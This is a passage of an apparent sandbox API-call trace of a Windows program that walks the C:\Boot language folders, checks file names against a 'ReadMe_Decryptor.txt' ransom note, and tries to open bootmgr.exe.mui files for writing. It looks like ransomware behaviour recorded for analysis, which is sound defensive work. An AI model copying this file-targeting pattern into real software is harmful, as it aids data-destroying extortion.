ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.793] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.793] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.793] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.793] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.793] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.794] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.794] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.794] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.794] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.885] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.885] FindFirstFileExW (in: lpFileName="C:\\Boot\\pt-PT\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.885] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.885] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.885] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.886] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.886] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.886] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.886] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.886] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.886] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.886] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.886] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0034.886] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0034.886] FindFirstFileExW (in: lpFileName="C:\\Boot\\ru-RU\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.886] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.886] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.886] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.887] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0034.887] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0034.887] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.887] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0034.887] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0034.887] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0034.887] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0034.887] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.000] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.000] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.000] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.000] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.001] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.001] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.001] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.001] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.001] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.001] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557b58 [0035.001] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.001] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.001] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.001] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.001] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0035.001] lstrcmpW (lpString1="tr-TR", lpString2=".") returned 1 [0035.001] lstrcmpW (lpString1="tr-TR", lpString2="..") returned 1 [0035.001] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.001] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.001] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb458 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb458 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c10 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c10 [0035.002] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.002] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x561fe0 [0035.002] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.003] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0035.003] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.003] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0035.003] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0035.003] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.003] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.003] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.003] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.003] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0035.003] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.003] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c88 [0035.003] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x561fe0 | out: hHeap=0x540000) returned 1 [0035.004] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.004] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x0, lpFindFileData=0x235f590, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x235f590) returned 0x5638c0 [0035.004] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.004] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564d78 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564d78 | out: hHeap=0x540000) returned 1 [0035.004] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="ReadMe_Decryptor.txt") returned -1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x557ba0 [0035.004] FindNextFileW (in: hFindFile=0x5638c0, lpFindFileData=0x235f590 | out: lpFindFileData=0x235f590*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c88 | out: hHeap=0x540000) returned 1 [0035.004] FindClose (in: hFindFile=0x5638c0 | out: hFindFile=0x5638c0) returned 1 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.004] FindNextFileW (in: hFindFile=0x563880, lpFindFileData=0x235f880 | out: lpFindFileData=0x235f880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0035.004] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0035.004] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x564c60 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x564c60 | out: hHeap=0x540000) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x60) returned 0x560008 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.004] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x560008 [0035.004] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x560008 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x50) returned 0x5603c0 [0035.005] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5603c0 | out: hHeap=0x540000) returned 1 [0035.005] RtlAllocateHeap (HeapHandle=0x540000, 